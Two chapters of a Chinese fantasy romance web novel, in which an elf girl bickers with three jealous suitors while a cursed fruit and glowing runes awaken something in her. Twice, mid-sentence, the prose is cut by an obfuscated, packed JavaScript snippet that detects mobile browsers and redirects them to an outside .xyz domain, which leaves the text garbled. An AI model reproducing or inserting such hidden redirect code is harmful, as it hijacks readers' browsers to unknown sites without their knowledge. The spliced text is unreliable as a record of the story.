《谁说精灵美少女不能反向契约》 3. 他们吃醋 溪边露水最干净,采点儿回去泡茶,好歹显得我日子过得有点章法。我拐进林子,脚踩在湿乎乎的苔藓上,总算能喘口气。刚才那场“表演”是挺痛快,可收不住,一不留神把自己架火上烤。 正走神,头顶“咔”一声。 我一抬头,时砚倒挂在树杈上,嘴里叼着片叶子,眼睛亮得跟捡了松子的野松鼠似的:“说好昨晚听曲儿,现在补上?” 我差点呛住:“你属猫的?专蹲屋顶偷听?” “我属风。”他翻身落地,叶子一转,敲我肩头,“想哪儿飘哪儿。” 我翻白眼:“那你飘远点行不行?我采个露水还得防着天降傻子?” 他不接话,往前凑半步,压低嗓音:“你刚才是不是在躲他们?” 我一怔。 他笑:“别装了,我全看见了。洛兰在祭坛盯着你,跟防贼一样。你一走,他跟着迈两步,又停住——那脸绷的,能挂腊肉。” 心里咯噔一下,嘴上硬着:“关你屁事?你们又没拴一条绳上,他走他的,你挂你的,谁稀罕?” “哦?”他挑眉,“那我要现在吹一段,他会冲出来净化我吗?” 话没落地,林子里切进一道冷声:“湿寒之地,不宜久留。阿米莉娅,你灵息未稳。” 洛兰不知啥时候来的,银灰长袍,袖口符文微闪,站那儿像块冻住的门神。 我太阳穴直跳:“你俩能不能别演双簧?一个接一个蹦出来?我采个露水,又不是选秀。” 时砚不理,叶子往嘴边一按,吹了起来。 调子又高又野,藤蔓晃了,花瓣打着旋儿往下落。他边吹边冲我眨眼睛,还故意贴到我耳边,气流震得耳根发麻。 我刚想推开,洛兰抬手结印。 银光“唰”地劈下,声音断得干脆。光幕像玻璃墙,把我俩隔开。花瓣炸成粉,随风散了。 “有病吧!”时砚猛地收叶,瞪他,“听个曲也犯法?你是不是见不得人高兴?” “浊气太重。”洛兰面不改,“刚才那调,扰了林气,该清。” “哈?”时砚冷笑,“这叫浊气?你念咒跟念悼词似的,才真是扰林心!” “至少我不靠耍杂技讨好谁。” “你说谁耍杂技?” “打住!”我插进中间,叉腰,“你们俩幼儿园毕业没?争宠争到动手?我还没挑呢!” 两人一愣。 我指着洛兰:“你,高冷演上瘾了?结界都快冒烟了还装?” 又扭头看时砚:“你,挂树就算了,能不能别老往人耳朵边哈气?谁雇你了?” 没人吭声。 我冷笑:“一个冻成冰疙瘩,一个跳得跟猴精,烦不烦?我要真喜欢谁,心里没数?用得着你们演‘谁更招人疼’?” 说完转身就走。 走两步,回头补一句:“再让我看见你们为这点破事动手,我就把你们的法杖和破叶绑一块,挂树上当铃铛!” 我头也不回往溪边走,脚步越迈越大。身后静了几秒,传来时砚的声音:“她刚说‘喜欢’没?” 洛兰冷冷回:“她说‘不知道’。” “那不还有戏?” “你叶笛断了半拍,心乱了。” “你结界裂了缝,更乱。” 我翻白眼,走得更快。 溪水清,我蹲下装模作样采露,其实耳朵竖得老高。身后那俩还在呛,声音远了,可灵力还在搅,溪面波纹一圈圈乱颤。 我掏出星露果一看,蓝光一明一暗,像在喘气。 “行吧,”我嘀咕,“你们吵去,反正我又没动心——” 话没说完,果子猛地一烫。 手一抖,差点扔水里。 抬头,洛兰又来了,站我身后两步,法杖还冒着黑烟。 我猛地站起:“你跟踪?” “不是。”他扫了眼果子,“它亮了。” “关你啥事?” “它在应你情绪。”他声音低了,“刚才在祭坛……你靠太近,心跳乱了。” 我一愣:“你——偷听我心跳?” “灵契感应。”他偏头,“不是我主动。” 我气笑:“怪我?要不是你们俩莫名其妙较劲,我会心跳乱?” “谁较劲?”他皱眉,“我在尽责。” “那你拦时砚干啥?他吹个曲犯哪条规了?” 他停两秒,才说:“那曲子……太近。” 我瞪他:“什么近?” “他靠你太近。”声音压得更低,“音波入心,万一带邪意,会引旧契残留。” 我心头一震。 旧契残留? 我还想问,树影一动,时砚又来了,这回走过来,叶子别腰上,手插兜。 “哟,查岗又来了?”他冲洛兰挑眉,“她采个露,你也得贴身跟着?要不要量体温?” “你才该管管自己。”洛兰冷眼,“刚才那调,故意贴近,想干嘛?” “想干嘛?”时砚笑,“就想让她乐一下,不行?” “乐?”洛兰嗤笑,“你调都吹歪了,还谈乐?” “至少我敢靠近她,不像某些人,站八丈远装神仙,心里慌得结界直抖。” “你——” “打住!”我吼,“你们俩有完没完?一个说我心跳乱,一个说我开心,当我是什么灵力探测器?随你们高兴就亮一下?” 两人闭嘴。 我指溪边大石:“听着,我现在坐这儿采露,你们爱站站,爱走走,再为我吵一句,我就——” 话没完,星露果突然烫得吓人。 低头一看,蓝光炸开,像要爆。 胸口一闷,耳朵嗡嗡响,右眼一热,紫光一闪。 脑子里闪过一只手,伸向我,指尖发暗,像血,又像晚霞。 我踉跄一步,扶住石头才没倒。 “阿米莉娅!”时砚冲过来扶我。 洛兰也上前,法杖微抬。 我摆手:“别碰……没事,就是……晕。” “星露果失控。”洛兰皱眉,“你情绪太剧烈。” “我哪剧烈?”我喘着,“我只是——” 话没完,果子“啪”裂开一道缝,蓝光从缝里渗出,顺着手指往下淌,像液。我慌手慌脚把那果子往腰上的藤袋里塞,刚碰上,“滋”一声冒白烟,袋子边儿卷起来,像煮烂的菜叶。 “不是吧?连个袋子都扛不住?”我牙一咬,甩手把袋子扔地上,掌心还黏着股滑溜溜的热劲儿。 脚边一朵夜语花“咯”地响,尖得像指甲刮墙。低头一看,花瓣飞快发黄蜷缩,几秒就缩成一团黑渣。边上三朵跟着闭、黑、掉,一个接一个。 “喂?花也罢工?”我往后退半步,踩到另一朵,“啪”一声它也闭嘴,不动了。 静。 风都不动。 溪水本来清得能照出我那张“出门踩狗屎”的脸,现在黑了,像倒了墨,水面浮着层油光。我盯着那光,忽然发现蓝光正从藤袋破口往外渗,溪水……在吸它? “啥玩意儿?”我拎起袋子猛抖,想甩掉那光,结果“啪”一声袋子散架,星露果变成一捧灰。 风一吹,灰飘进溪里。 “轰!”整条溪炸开,黑气“蹭”地冲起半人高,又“哗”地落回去。水面全是泡沫,每颗都泛着蓝光,邪门。 我僵着。 不是吓傻,是右眼烧起来了。 不疼,像有团火在眼珠子里转,紫光从里往外漫,视野刷一下全紫了。眼前一晃——一只手。 黑袍,骨节分明,掌心裂开条缝,红光像血丝往外渗。手朝我伸来,指尖快碰到我胸口。 我猛地闭眼,再睁,没人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16138377|180360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可掌心烫了一下。 低头看,沾过灰的地方,浮出一道银纹,弯弯曲曲,像藤又像符,颜色跟我右眼的紫光一模一样。 “……谁家系统更新不打招呼?”我嘟囔。 “阿米莉娅!” 洛兰声音从背后砸过来,冷得能结霜。他几步冲到溪边,法杖一横就要动手。时砚也从树后窜出,叶笛在手,脸色发青。 “别!”我脱口而出。 晚了。 他结印那一下,溪面“哗”地炸开,黑气顺着光往上爬,撞上结界。“咔”一声,结界裂了缝,洛兰踉跄后退,嘴角渗血。 时砚一把扶住他,扭头瞪我:“你干了什么?” “我啥都没干!”我火往上冲,“果子自己炸的!再说了,你们就不能先问再打?上次净化完我耳朵嗡了三天!” 话音没落,林子深处传来琴声。 不是人弹的。 是他那把破琴自己响了。 断断续续,像有人用指甲刮弦,可每个音都往我右眼钻。我一摸眼皮,还在抖。 “人没来,琴先到?”我嘀咕。 洛兰抹了把嘴,盯着我掌心:“你身上……有旧契的印。” “又来?”我翻白眼,“这套说辞能不能换?我连契是谁签的都不知道——” 话没说完,头顶“咔”一声闷响。 我们仨全抬头。 溪边那棵千年古树,年轮亮了。一圈圈荧光符文浮出来,缓缓转。树皮裂开条缝,挤出个声音,沙哑得像树根在磨: “双生之魂……将撕裂月光。” 我浑身一僵。 洛兰法杖抖了抖,时砚差点把叶笛扔了。 那声音顿了顿,又补一句:“……她已苏醒。” 光灭,符文沉,树皮合上,像啥都没发生。 可空气还是僵的。 连溪水都停了,黑得像铁板。 我低头看手,银纹还在,微微发烫。我试探着开口:“如果……真是我搞的鬼?” 话刚落,纹路一闪。 远处一棵巨树“嘎吱”一声,枝干扭曲,硬生生拧出只“手”,朝我伸了一下,又“啪”地弹回去,恢复原样。 我:“……” 时砚咽了口唾沫:“你刚才说了啥?” “我说‘如果是我搞的鬼’。”我盯着那树,“然后它给我比了个耶。” 洛兰脸色发白:“别乱触发预言。古树不是闹着玩的。” “我哪知道它听得见?”我炸了,“我又没喊!再说了,它说‘她已苏醒’,谁醒了?我吗?我昨晚根本没睡着!” 时砚突然插嘴:“你右眼,紫光闪了三下。” “你还数了?” “不是我数的,是叶笛。”他举起笛子,上面纹路还在颤,“它感应到你,就记频率。刚才……差点烧起来。” 我一愣:“所以我是情绪一上来,它就报警?” “差不多。”他苦笑,“但今天不一样。昨晚乱,今天……有规律。” 我心里一跳。 规律? 那不就是……醒了? 我摸了摸右眼,紫光又闪。视野边缘,林子深处一抹黑影闪过,像布条,又像人。 我定睛,没了。 风停了,花闭了,溪水像冻住,黑沉沉趴那儿。 我站着,掌心纹路没散,右眼角还留着那影子的轮廓。 洛兰和时砚不说话,一个盯我,一个盯林子,空气紧得能拧出水。 我深吸一口气,抬脚往回走。 “去哪儿?”时砚问。 “回屋。”我不回头,“把鞋底那张树皮纸翻出来,列个新清单。” “写啥?” “写我现在最烦的三件事。”我边走边说,“第一,谁来管管这破森林?发疯还搞集体演出?” 4. 神秘纹路 我一脚踹开屋门,掌心那道银纹还在发烫,右眼像被紫光泡过似的,看啥都带层滤镜。刚在藤桌上摊开树皮纸,咬牙写下“第一,谁来管管这破森林”,门“砰”地被人从外面推开。 洛兰站在门口,袍角都没沾灰,跟刚从祭坛上走下来似的。他冷着脸说:“时砚昨夜擅闯禁林,我已在叶笛上施了静音咒。” 我笔尖一抖,墨点糊了半行字。“所以你就给人家的乐器上封条?你当你是森林城管?” “那是邪器。”他站得笔直,“携带浊气,扰乱林息。” “得了吧,那笛子比你还爱干净。”我翻白眼,“再说了,你管他干啥?他又不是要娶你。” 洛兰耳尖微动,没接话,只冷冷扫了我一眼,转身就走。门关上那声“咔哒”,听着都像在甩脸子。 我盯着那张纸,叹了口气,继续写:“第二,谁来管管这群神经病。”刚落笔,窗外“啪”一声,什么东西砸在窗框上,弹进屋里滚到桌下。 低头一看,是时砚的叶笛。 我捡起来,吹了口气,没声。翻过来一看,笛身一圈细密符文泛着灰光,像贴了层封条。正琢磨着,窗外传来一声冷笑。 “哟,大祭司的手法,越来越像捆粽子了。” 时砚挂在屋外那棵歪脖子树上,两条腿晃荡着,头发乱得像鸟窝。他冲我扬下巴:“阿米莉娅,你说他是不是闲得蛋疼?我吹个曲子招谁惹谁了?” “你昨晚真进禁林了?”我靠在窗边,把笛子晃了晃,“别告诉我你是去采花献殷勤。” “我去查点事。”他眯眼,“再说了,我又不像某人,靠念咒刷存在感。” 话音刚落,远处传来一阵琴声。 不是商隐平时那种阴沉沉的调子,而是“叮——嗡!”一声,像谁拿锤子砸了琴弦。接着又是一声,更刺耳,震得我右眼直跳。 “完了。”我手一抖,叶笛差点掉地上。 时砚翻身落地,脸色变了:“这声音……不对劲。” 我们俩冲出屋门时,商隐正坐在乐师台前,手指停在断魂琴上,鸦青长发垂着,一动不动。可那琴自己在响,一根弦绷得笔直,“嗡嗡”直颤,音调越来越高,像要炸开。 林子里的鸟全炸了窝,扑棱棱乱飞,撞树的撞树,撞墙的撞墙,有只倒霉的直接一头栽进溪里,浮上来时还在蹬腿。 “你干的?”我扭头看时砚。 “我?我刚从你那出来!”他举手,“我再缺德也不会碰他的琴!” 我眯眼盯着琴弦,右眼紫光一闪——弦上黏着点黏糊糊的绿渣,正顺着弦往下滴,发出轻微“滋滋”声。 “‘哑藤汁’。”我冷笑,“时砚,你涂的时候能不能擦干净点?这玩意儿还没干透呢。” 时砚一愣:“啥?我没——” “游侠儿。”洛兰的声音从背后飘来,带着点讥讽,“偷学禁术也就算了,连清理痕迹都不会?” “你闭嘴!”时砚转身,“你先给我解释解释,谁准你动我笛子的?” “邪器需净。”洛兰袖子一甩,“倒是你,竟敢对琴心者下手?” “我没碰他琴!”时砚吼,“我顶多……就是顺手在琴盒上撒了点驱虫粉!谁知道会这样!” “驱虫粉?”我盯着那绿渣,“那是‘蚀音藤’的汁液,能腐蚀灵弦三天。你当商隐的琴是菜园子?” 商隐终于抬起头,眼神冷得能冻住溪水:“谁动的,自己认。” 空气僵住。 三人互相瞪着,灵力波动一圈圈往外冒,我掌心那道银纹烫得像刚从火里捞出来。右眼紫光一闪,我瞥见他们头顶浮起三道金线,两两缠绕,像打结的耳机线。 “行了!”我一巴掌拍在琴台上,“你们仨是不是闲出病了?一个封笛子,一个毁琴弦,另一个装死——哦不对,你本来就不爱说话。” 我指着洛兰:“你净化上瘾是不是?看见活物就想念咒?”又转向时砚:“你报复能不能挑个不连累无辜的?商隐招你了?”最后看向商隐:“你也别装深沉,琴都快炸了你还坐得住?” 商隐淡淡道:“我若动,他们会打起来。” “现在也没差多少!”我翻白眼,“你们是想用内耗完成成年礼吗?第一名送祭坛上烤全精灵?” 三人不吭声了,但眼神还在互甩刀子。 我揉了揉太阳穴,正想说“要打出去打”,头顶那棵古树“咔”地轻响一声。 年轮微微亮了一下,转了一圈,又暗下去。 没说话,但那意思再清楚不过:别闹了,再闹真把林子玩崩了。 我低头看掌心,银纹还在,但热度降了点。抬头看看他们,一个比一个绷着脸,活像谁欠了他们三百年的供奉。 我忽然笑了。 “行吧。”我转身从藤椅上捞起半块干果,一屁股坐下,咔嚓咬一口,“你们继续。谁赢了我给谁点赞。” 三人齐刷刷看我。 我嚼着干果,含糊道:“哦对了,刚才古树翻白眼了,估计也快看不下去了。” 洛兰眉头一抽,时砚差点呛住,商隐低头看了眼琴,手指轻轻一拨——那根绷得快要断裂的弦,“啪”地断了。 断弦弹起来,擦过我脸颊,留下一道细小的红痕。 我摸了摸,没说话。 时砚突然开口:“阿米莉娅,你是不是早就知道会这样?” 我咬着干果,抬眼看他:“知道什么?” “知道我们……”他顿了顿,指了指洛兰,又指了指自己,“会变成这样?” 我笑了下,把果核吐在地上。 “我只知道——”我站起身,拍了拍裙子,“你们现在这副德行,比我鞋底那张树皮纸还皱。” 我转身就走,连干果核都懒得捡。身后那三个家伙还在僵着,一个比一个能装,洛兰像根冰柱子,时砚梗着脖子,商隐连眼皮都不抬。行吧,你们爱站多久站多久,反正我耳朵都快被那股沉默压出茧子了。 走出没多远,手臂突然一紧,像是被什么藤蔓勾住了袖口。我下意识一挣,结果那玩意儿猛地一抽——“嘶!” 左小臂火辣辣地疼,低头一看,一道斜斜的口子正往外渗血,边缘还泛着点银光,跟昨晚星露果裂开时的颜色一模一样。 “搞什么鬼?”我皱眉,顺手扯了片宽叶按上去,“连伤人都带特效的?你当自己是庆典烟花?” 可那叶子刚贴上,底下就透出细密的纹路,像活的一样在皮肤下游走。我掀开一看,差点把手甩出去——伤口周围的皮肤上,爬满了交错的暗线,淡银色,微微发亮,像是有人拿月光当墨水,在我胳膊上画了张看不懂的地图。 “喂。”我戳了戳那纹路,“你别动啊,我还没同意你住我身上。” 话音刚落,右眼猛地一热,紫光像被谁拧开了开关,眼前的世界瞬间蒙了层滤镜。耳边“嗡”地一声,紧接着响起一阵低语,断断续续的,像是某种古老的调子,又像风吹过石缝的呜咽。 我猛地闭眼,再睁开,那声音没了,可手臂上的纹路还在闪,一明一暗,跟呼吸似的。 “……谁在念经?”我嘀咕着,正想再凑近看看,远处传来一阵急促的脚步声。 抬头就看见洛兰从林子里冲出来,袍角都来不及整理,手里还捏着半道没念完的净化咒印。他一看到我胳膊,脚步直接钉在原地。 “这纹……”他声音压得很低,“不是净化符。” 我翻白眼:“废话,我要是自己能画,早拿它去换星露酒了。” 话没说完,时砚也从另一边窜了出来,头发乱得像被风卷过十遍,手里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16142346|180360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还攥着那根被封了咒的叶笛。他一眼扫到我手臂,整个人愣住,脱口而出:“这……这跟我叶笛上封印的边角……有点像。” “你笛子不是被静音了?”我眯眼,“怎么,封条还能自动播放回忆录?” 他没理我,几步冲过来,盯着那纹路直眨眼:“不对,比那还密……而且它在动。” 我正想说“废话,我肉又不是石头”,忽然感觉空气一沉。 商隐站在十步开外,不知什么时候来的,连脚步声都没听见。他抱着那把黑得发亮的琴,指尖泛着幽蓝的光,可琴弦没动,却“叮”地响了一下,短促得像被谁掐住了喉咙。 他看着我,眼神复杂得像是要把我拆开看零件。 我被他盯得发毛,抬手就想把袖子拉下来遮住:“看什么看,没见过限量款皮肤?” 洛兰却突然抬手,结印往我手臂上压:“不管这是什么,先净化。” 光幕刚落下来,那纹路突然一亮,银光反冲,竟把净化咒弹开了半寸。洛兰眉头一皱,又加了力,结果那纹路非但没消失,反而顺着皮肤往上爬了半寸,像在挑衅。 “无效?”我乐了,“大祭司也有失手的时候?” “这东西……不受净化影响。”他终于松手,语气沉了下来,“而且它不是邪气。” “那是什么?”我问。 没人回答。 时砚盯着那纹路,忽然伸手摸了摸自己叶笛上的封印:“这纹路的走向……跟我笛子上那块碎片的裂痕,几乎一样。” “你笛子不是你捡的?”我挑眉。 “是……但没人告诉我它从哪来。”他声音低了下去,“而且每次吹它,我都觉得……好像忘了点什么。” 商隐忽然往前走了一步。 他没说话,只是抬起手,指尖轻轻一拨。 “断魂”琴无声自鸣,一根弦轻轻震了一下,音调极低,却和我右眼的热度同步跳了半拍。 我猛地缩手:“你别碰琴!上回差点把鸟震进溪里,这回是不是想把我震成筛子?” 他收回手,目光落在我手臂上,许久才开口:“它……在回应你。” “谁?”我问。 “不是谁。”洛兰盯着那纹路,“是它自己在动。” 我低头一看,心口一紧——那纹路真的在变,原本杂乱的线条正缓缓收拢,形成一个闭合的环,像某种符号完成了最后一笔。 右眼又是一阵灼热,耳边那低语声再次响起,比刚才清晰了一点,像是有人在很远的地方,用很轻的声音说了一个字。 我没听清。 但心跳漏了一拍。 “阿米莉娅。”洛兰突然开口,声音压得很低,“你刚才……有没有听见什么?” “听见你问我有没有听见什么。”我冷笑,“要不你再问一遍,看看我能不能听见你脑子里的戏?” 时砚却没笑,反而皱眉:“不对,她右眼又紫了。而且……她手臂上的纹路,刚才动的时候,是不是跟商隐琴弦震的频率一样?” 商隐没否认,只是盯着我,眼神像是在确认什么。 我被他们三个围在中间,一个比一个严肃,忽然有点喘不上气。 “行了。”我猛地把袖子拉下来盖住手臂,强笑,“咋,我这伤升级成灵契试用版了?要不你们抽签,谁中了谁来认领?” 没人接话。 我转身就走,脚步比来时快了一倍。走出几步,忍不住回头看了一眼——三人还站在原地,没追上来,可他们的影子被斜阳拉得很长,交叠在我刚才站过的地方,像一张网。 回程路上,我悄悄把藤叶缠在左臂上,遮住那纹路。可走着走着,总觉得袖口底下有光透出来。 我掀开一看。 那符文在暗处,正一明一暗地闪。